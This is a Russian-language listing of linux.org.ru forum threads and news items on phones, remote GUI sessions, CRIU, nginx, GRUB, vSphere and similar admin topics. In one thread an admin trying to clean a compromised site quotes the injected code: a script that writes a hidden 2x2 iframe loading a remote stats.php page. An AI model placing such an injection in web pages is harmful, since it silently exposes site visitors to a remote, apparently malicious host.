LINUX.ORG.RU

Избранные сообщения leave

Андроидофон-qwerty

Форум — Talks

Салам аллейкум!

Посоветуйте качественного китайца.

Необходимые условия:

1. Андроид

2. 2 симки

3. QWERTY-клавиатура

4. Можно noname - лишь бы качественный.

5. По-возможности с локализованной клавиатурой.

Нравится вот этот, но не знаю, как он по качеству:

http://www.everbuying.com/product142117.html

 

le_legioner
()

Существует ли аналог screen для GUI-ных приложений?

Форум — Admin

Суть в том, что я хочу увидеть открытое уже GUI-приложение, подключившись к компу по ssh -X. Например, открыл gedit, набрал в нём текст, а сохранить забыл, ушёл домой. Есть ли возможность подключится к gedit из дому и сохранить код/текст?

На обеих операционках GNome одной и той же версии, если ето важно.

abr_linux
()

онлайн редактор

Форум — Talks

Онлайн редактор LaTeX на JS с поддержкой совместного редактирования http://writelatex.com/

 

XVilka
()

Обработка исключительных ситуаций в няшной Сишке

Форум — Development

вы мне тут говорили, что Си это хорошо.

Но я не обнаружил в моем компиляторе try.

а бейсик таки поддерживает: ON ERROR GOSUB ....

керниган и ричи, таки не осилили то, что сделали студенты из дармутского колледжа...

а это ведь важнее локальных переменных, да.

Перемещено mono из talks

djenterprise
()

Преднамеренное нарушение правил русского языка — lolwut???

Форум — Linux-org-ru

mono, камрад, ты в альтернативной школе русского языка учился?

Ежу понятно, что ядро линакса готово хоть дестопу, хоть к мобилке, хоть к суперкомпьютеру, потому что его пишут профессионалы в рабочее время и за настоящие деньги.

А вот с юзерспейсной обвязкой все намного грустнее: гигабайты кода, порожденные воспаленным мозгом любителей. Самая тяжелая беда с юзерспейсом — приложения спроектированы инопланетным мрачным разумом не для нормальных людей. Самая распространенная проблема — код написан криворукими быдлокодерами, поэтому тормозит, глючит, и память утекает на ровном месте.

Я бы мог накатать портянку о том, как мне приходилось превозмогать и обкостыливать инопланетный линаксовый гуй, но я буду краток: дистрибутивы линакса не будут готовы к десктопу до тех пор, пока не появится коммерческая организация, разрабатывающая Desktop Environment, повернутый к пользователю лицом, а не тем, чем повернуты гномокеды и остальные гиковские икс-монады.

Нафига я это написал? Потому что прочитал, как кто-то советовал кому-то помогать развивать открытые драйвера ати контрибутингом кода. Вот от того, что такое хомячье вместо подъема ВВП, подметания улиц и прочей полезной активности занимается «разработкой ПО в свободное время», индустрия прочно вошла в глубинную жопу и застряла там без возможности выбраться назад.

Лучше бы анастезиологами в свободное время подрабатывали без опыта и образования — все ж полезное дело по борьбе с перенаселением планеты бы совершали.

Ткни-ка пальцем, дружок, где здесь правила Великого и Могучего нарушены?

red_eyed_peguin
()

Вышел первый релиз CRtools, версия 0.1

Новости — Ядро Linux
Группа Ядро Linux

Команда разработчиков OpenVZ объявила о выходе первой версии утилиты для создания контрольных точек приложений Linux и восстановления с них. За год проделана огромная работа, и в настоящий момент CRIU умеет обрабатывать почти все приложения, а в ядре 3.5 уже есть 90% необходимой функциональности. Поддержка контейнеров (в том числе и LXC) тоже не за горами.

>>> Подробности

 crtools, , ,

ovzkir
()

Coursera: +12 университетов, сотня новых курсов

Новости — Интернет
Группа Интернет

We are THRILLED to announce that 12 universities will be joining Coursera.

Серьёзно обновился проект Стэнфордского университета по проведению и публикации в открытый доступ онлайн-курсов от именитых профессоров по IT-дисциплинам (а с недавних пор и не только по ним) Coursera.

К программе присоединились 12 университетов, привнеся новые курсы, например курс по Scala от самого создателя языка.

Старые курсы тоже начинают стартовать по второму кругу. Так, в ближайшее время стартуют сразу два по машинному обучению: от университета Торонто и старый от Стэнфорда.

( читать дальше... )

>>> Подробности

 ,

Kalashnikov
()

The Interrupted Unix FAQ

Форум — Talks

Question/Answer

Sendmail doesn’t…
Fix DNS.

Why don’t my cron jobs…
Use full paths.

tcsh doesn’t…
rehash

glxgears…
Is not a benchmark.

But that wasn’t…
Yes it was.

http://www.wonkity.com/~wblock/docs/html/interrupted.html
:-)

 

Serg5Markov
()

Gnome Modem Manager

Форум — Development

Представляю вниманию общественности ЛОРа свою разработку - Gnome Modem Manager.

Это приложение представляет собой аналог различным Megafon Internet для Windows. А в отличии от всяких этих Mobile Partner написано не на Java, обладает нормальным GTK интерфейсом (а не пытается делать вид, что автор умнее всех, и рисовать все элементы самостоятельно). И самое главное - вместо своих велосипедов по работы с модемами использует в качестве бэкэнда D-Bus API ModemManager (компонент NetworkManager, который позволяет подключаться через USB модемы).

А это значит:

1) Мне не надо заботится об особенностях конкретных модемов. Меня вообще не волнует что там и как будет управляться. Я лишь дёргаю готовые функции общие для всех GSM-модемов.

2) Моё приложение поддерживает все USB-модемы, которые поддерживает ModemManager. Также добавление новых модемов и исправление багов я полностью перекладываю на плечи авторов ModemManager, а их больше :-)

3) Для многих модемов работать с ним можно даже если соединение через этот модем установлено (обычные программы не могут получить доступ к модему, потому что его файл устройства занят ModemManager).

Возможности:

1) Одновременная работа с несколькими модемами.

2) Получение информации о модеме (модель, драйвер, адрес устройства, уровень сигнала, название оператора, IMEI и т. д.)

3) Чтение СМС из памяти SIM-карты (все входящие попадают туда).

4) Удаление СМС из памяти SIM-карты (можно удалить старые, чтобы не занимали место, ведь размер памяти SIM-карты ограничен).

5) Поддержка USSD-запросов. Ответ на USSD пока нормально не работает, но тут вина странного метода ModemManager для ответа на USSD - оно не возвращает новое сообщение. В итоге ответить можно, но ответ на ответ мы не увидим уже.

Планируется:

1) Создание СМС с возможностью сохранения в памяти SIM-карты, либо сразу отправки.

2) Нормальный USSD-диалог.

3) Выбор кодировки USSD (пока с приёмом нелатинских сообщений всё печально)

4) Уведомление о новых СМС

5) Что-нибудь ещё.

Язык программирования: Vala (в отличии от Си там вменяемая поддержка D-Bus, зато по скорости не хуже)

Лицензия: GPLv2

Тулкит: GTK3 (при желании можно GTK2)

Официальная страничка (есть скриншот и подробное описание со всеми ссылками): http://cpu-fun.ru/projects/gmm (Английский и Русский)

Репозиторий на GitHub: https://github.com/kiv-apple/Gnome-Modem-Manager

Пакет для Arch Linux в AUR: https://aur.archlinux.org/packages.php?ID=54542

PPA для Ubuntu (обновляется раз в сутки, если есть изменения в GIT, так что можете быть уверенными, что у вас самая последняя версия): https://launchpad.net/~gnome-modem-manager-team/ archive/gnome-modem-manager-...

Все вопросы, пожелания, предложения вы можете оставлять в этой теме, на GitHub (issues) или в комментариях на моём сайте (никаких вконтактиков - встроенный модуль Drupal).

Все, кто считает «не нужно», могут сделать вдоль %) Потому что «презентация» на убунтофоруме уже доказала нужность.

P.S.: Было бы не плохо советовать это приложение новичкам, которые задают вопросы типа «как проверить баланс 3г модема в Linux?»

P.P.S.: Не помешает собрать пакеты для других дистрибутивов. Приглашаются все желающие. Могу потом вывесить на сайте ссылки.

 , , , ,

KivApple
()

гитарный тюнер

Форум — Talks

хочу написать гитарный тюнер под линукс. Да, уже есть. Но отстой.

1) Что бы вы хотели от гитарного тюнера, чего сейчас нет? (Если нормальный дизайн, юзабилити, эргономика - опишите что и как хочется. Если фичи - как именно должны работать).

2) какой тюнер используешь ТЫ, и за что ты выбрал именно его?

3) Java(SWT) или Mono(Gtk)? Натив не предлагать. У нас-то оба поделия стоят, а вот что удобней в установке обычному пользователю?

stevejobs
()

Задачка мне не по зубам

Форум — General

Вообщем есть шаблон

<image imageURL="NAME" thumbURL="NAME" linkURL="NAME" linkTarget="NAME" > 
 <caption></caption> "


и текстовый файл с сылками  нужно брать строку из файла и вставлять везде где NAME и  печатать полученый результат в файл,далее следующая строка из файла и снова  вставить вместо NAME 

#!/bin/bash


NAME=`вот тут проблема`


echo  " <image imageURL=\"$NAME\" thumbURL=\"$NAME\" linkURL=\"$NAME\" linkTarget=\"$NAME\" > "
echo  "	 <caption></caption> "



exit 0


Dron
()

Оказывается теперь не нужен офис для генерации писем в рассылку.

Форум — Desktop

Наиболе занимающий время элемент генерации писем (например приглашающих учится именно в это учебное заведение :) это тыкание мышкой по всяким формам и вставление полей (так и не знаю можно ли условия в офисах вставлять или только готовить варианты документов).

Да и генерация итогового дакумента с письмами и конвертами неприлично большая уже для нескольких сотен.

Так вот --- теперь оказывается все можно сделать из LaTeX. Причем документ один, поля можно увязывать в условия. На входе csv файл.

http://latex-my.blogspot.com/2012/01/mail-merge-batch-generating-documents.html

 datatool, , mail merge

psv1967
()

Вирус! Помогите со скриптом, который его удалит!

Форум — Admin

Здравствуйте!

Меня попросили на дырявой машине удалить вирус! Там во многих тысячах html-файлов помещается такое:

<body><!--c3284d--><script type="text/javascript">
document.write('<iframe src="http://oxsanasiberians.com/downloads/stats.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>');
</script><!--/c3284d-->

В PHP-файлах тоже есть вирус, но немного другой! Я закрыл дырки в системе, всю ночь не спал, поменял все-все-все пароли ко всему. Выяснилось, что вирус внесли по FTP, видимо, пароль протёк, я обнаружил это по логам!

Теперь хочу вылечить все файлы. Подскажите со скриптом, пожалуйста. Я не особый скриптописатель, я ещё только учусь, попробовал удалять через tr - он на спецсимволы ругается! Все «подозрительные» символы заэкранировал с помощью «\» - то же самое! Через sed - тоже ошибка такая:

sed '\<\!\-\-c3284d\-\-\>\<script type=\"text\/javascript\"\>/d' /home/vitaly/public_html/templates/template_X_3_v13/template.html
sed: -e expression #1, char 58: unterminated address regex

Может кто сталкивался с такой бедой? Подскажите, как автоматически почистить тысячи файлов! Просто удалить строки - нельзя, там надо <body> сохранить (оно - не вирус).

xl743
()

AMD Catalyst 12.6 Beta Legacy

Форум — Talks

Для Ъ: Сбылась мечта ид^W пускай будет просто мечта и AMD зарелизил бетку Catalyst для Legacy (HD2000/3000/4000) с поддержкой Xorg Server 1.12.

Для !Ъ

 , , , ,

daemonpnz
()

chainloading в iso

Форум — General

Сейчас грузил ISO при помощи GRUB4DOS и GRUB2. В первом всё просто:

    map (hd0,0)/images/debian.iso (hd32)
    map --hook
    root (hd32)
    chainloader (hd32)
    boot
А со вторым сначала также, а в конце немного сложнее. Нужно знать, что внутри у диска, где лежат ядро и initrd и как они называются.
Соответственно в первом варианте управление загрузкой передаётся загрузчику из ISO образа (это даёт всякие ништяки типа красивой картинки и менюшек), а во втором грузится непосредственно линукс из этого образа.
Я попробовал взять лайв дебиана и натравить на него chailoader. В GRUB2 chainloader требует, чтобы параметром ему передали путь к загрузчику. Путь я написал такой: "(loop)/isolinux/isolinux.bin". Но что-то не взлетело (а я и не ожидал, что взлетит, ибо упоминаний о таком способе загрузки ISO не нашёл). GRUB2 сказал "error: invalid signature".
ЧЯДНТ?

 ,

CYB3R
()

nginx mem usage

Форум — Admin

Добрый день, товарищи. Столкнулся с проблемой - nginx занимает ~1Gb оперативной памяти при размере конфига ~5MB и ~30K записей server. Вопрос, можно ли как то умерить потребление ОП nginx'ом?

 , ,

Jam_myaso
()

Полезная фича Proxmox VE 2.1 (для тех, кто не в курсе)

Форум — Talks

Оказывается, в Proxmox VE 2.1 наконец стало возможным задавать последовательность запуска виртуалок!
Я правда не очень понимаю, что Proxmox считает загрузившейся виртуальной машиной: ведь контейнеры OpenVZ по определению стартуют быстрее гибридно или полновиртуализованнных KVM. Тогда, например, если контейнеры VZ зависят от успешной загрузки KVM-машинки, то старт их до KVM'а не поможет: они всё равно обломаются, поскольку когда им уже что-то будет нужно, KVM только начнёт просыпаться, показывая что-нибудь типа «нажмите DEL для входа в BIOS» на консоли.
Но в любом случае фича очень правильная, и если они разовьют простую идею зависимости виртуалок друг от друга, то это сильно укрепит позиции Proxmox по отношению к VMware (всех остальных они итак обошли на три корпуса).

 

DRVTiny
()

Pip-Boy 3000 на рабочем столе

Галерея — Скриншоты

Это мой первый скриншот.
Fluxbox в стиле Pip-Boy 3000 из Fallout 3, если кто не играл то вот http://ru.fallout.wikia.com/wiki/%D0%9F%D0%B8%D0%BF-%D0%91%D0%BE%D0%B9_3000
Остальные скрины
http://storage3.static.itmages.ru/i/12/0313/h_1331658361_6857167_7be48a79e2.png
http://storage4.static.itmages.ru/i/12/0313/h_1331658427_1169135_3943dc499f.png
И видео как это работает
http://www.youtube.com/watch?v=KG7Pvz5l0-8

 , ,

vors
()

Штатная катастрофа при удалении datastore в vsphere 5.0

Форум — Admin

Доброго времени суток.

Надеюсь, кому-нибудь информация пригодится. В vsphere 5.0, по сравнению с предыдущими версиями, имеет одну важную багофичу: типовая процедура по удалению datastore превратилась в типовой инцидент. Нельзя удалять lun на массиве без предварительных хитрый действий.

К чему приведут неправильные действия:

  • esxi'и будут в бесконечном (?) цикле сканировать fc шину в поисках потерянных lun'ов. Несмотря на то что в datastore'ах они не используются.
  • все обращения к storage подсистеме будут виснуть или отваливаться по тайм-ауту
  • из-за предыдущего пункта через некоторое время отвалятся management агенты на esxi'ях. И если вы не сделали предусмотрительно доступ по ssh или через консоль сервера - управление полностью потеряно.
  • При этом ВМ продолжат работать, хоть и с тормозами по IO
  • поможет только жёсткий ребут серверов esxi по питанию.

В тему:

Будьте осторожны

З.Ы. Проблема «отлично» воспроизвелась на esxi 5.0 u1 build 702118 + VC 5.0 u1 build 623373 + MSA P2000 G3

 disaster, incident, , набитые шишки

router
()

Кто использует shc?

Форум — General

Вообщем то идея компилять шелл хороша в определённых случаях, потестил на паре десятков скриптов вроде ничего, но терзают смутные сомнения что чего то там не то? Кто на грабли наступал?

 , ,

Dron
()